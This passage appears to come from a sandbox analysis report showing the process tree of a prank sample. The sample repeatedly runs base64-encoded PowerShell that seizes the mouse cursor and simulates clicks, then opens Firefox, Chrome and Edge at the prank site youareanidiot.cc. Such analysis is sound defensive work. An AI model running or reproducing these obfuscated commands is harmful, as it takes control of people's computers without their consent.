        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5936,i,8377456948399658201,2358428697438597738,262144 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:10
        5⤵
        
        PID:15776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3692,i,12721731648634037293,12257603875483869210,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7272 /prefetch:14
        5⤵
        
        PID:17092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6708,i,12015631105917092405,4866386073021331078,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7500 /prefetch:14
        5⤵
        
        PID:17096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7256,i,16662472812241513100,6780076621888411555,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=6984 /prefetch:14
        5⤵
        
        PID:17168
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,10824654181277124665,9025650951487817289,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7708 /prefetch:14
        5⤵
        
        PID:8828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7708,i,1615102147526008837,17569505166950755614,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=7696 /prefetch:14
        5⤵
        
        PID:22124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5888,i,843800398194525980,1636707154903713474,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:14
        5⤵
        
        PID:25504
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6992,i,16475776775820820463,15586684748731091124,524288 --field-trial-handle=2556,i,4897939044733365254,12937321602694739329,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
        5⤵
        
        PID:9336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5876
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3288
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Drops desktop.ini file(s)
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3944
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1952 -prefsLen 27097 -prefMapHandle 1956 -prefMapSize 270279 -ipcHandle 2024 -initialChannelId {b4ed09da-b681-4c1c-980d-370f8e222caf} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:5756
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2404 -prefsLen 27133 -prefMapHandle 2408 -prefMapSize 270279 -ipcHandle 2416 -initialChannelId {0c6bdf37-6eda-4751-beef-11294a97f0dd} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:2584
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3844 -prefsLen 25164 -prefMapHandle 3848 -prefMapSize 270279 -jsInitHandle 3852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3860 -initialChannelId {779fa559-6664-431b-a7f5-562e044b1b91} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:6236
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3888 -prefsLen 27274 -prefMapHandle 3988 -prefMapSize 270279 -ipcHandle 4108 -initialChannelId {6a93b293-ec09-4289-87f2-30fee136fb2c} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:6288
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4540 -prefsLen 34773 -prefMapHandle 4544 -prefMapSize 270279 -jsInitHandle 4548 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4556 -initialChannelId {ac669948-2dc8-46f8-a7af-5458de2dffd6} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:6692
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5232 -prefsLen 35010 -prefMapHandle 5236 -prefMapSize 270279 -ipcHandle 5248 -initialChannelId {e8ba7dc7-5573-45e8-8f02-aa73550d4c0e} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:7476
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 5640 -prefsLen 35062 -prefMapHandle 5596 -prefMapSize 270279 -ipcHandle 5652 -initialChannelId {680f27b2-d86b-4b4f-8daa-e104a67af471} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        Checks processor information in registry
        
        PID:8072
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5504 -prefsLen 32952 -prefMapHandle 5508 -prefMapSize 270279 -jsInitHandle 5680 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5768 -initialChannelId {b8ca6e9b-7c3f-48ee-9f87-fe6b8733c3c8} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:7180
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5880 -prefsLen 32952 -prefMapHandle 5884 -prefMapSize 270279 -jsInitHandle 5888 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5896 -initialChannelId {52a7132b-f8bd-4f4c-8b95-576991e7a64f} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:6752
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6068 -prefsLen 32952 -prefMapHandle 6072 -prefMapSize 270279 -jsInitHandle 6076 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6084 -initialChannelId {18ab37c2-f3a5-4917-a1b6-cb2f44e2d5b9} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:6716
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6360 -prefsLen 32952 -prefMapHandle 6364 -prefMapSize 270279 -jsInitHandle 6368 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6320 -initialChannelId {1cb1d084-97e5-4ed0-880f-f61c52036ee9} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        6⤵
        Checks processor information in registry
        
        PID:8080
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6684 -prefsLen 32952 -prefMapHandle 6676 -prefMapSize 270279 -jsInitHandle 6636 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6688 -initialChannelId {79f9120b-be7c-4a27-b037-785b076c6f3c} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        Checks processor information in registry
        
        PID:7836
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2860 -prefsLen 32952 -prefMapHandle 3356 -prefMapSize 270279 -jsInitHandle 3352 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7144 -initialChannelId {6c093f2c-add4-4c92-a807-1f5f37fe268d} -parentPid 3944 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3944" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        Checks processor information in registry
        
        PID:8432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7808
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6952
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ffef166c728,0x7ffef166c734,0x7ffef166c740
        5⤵
        
        PID:6680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZ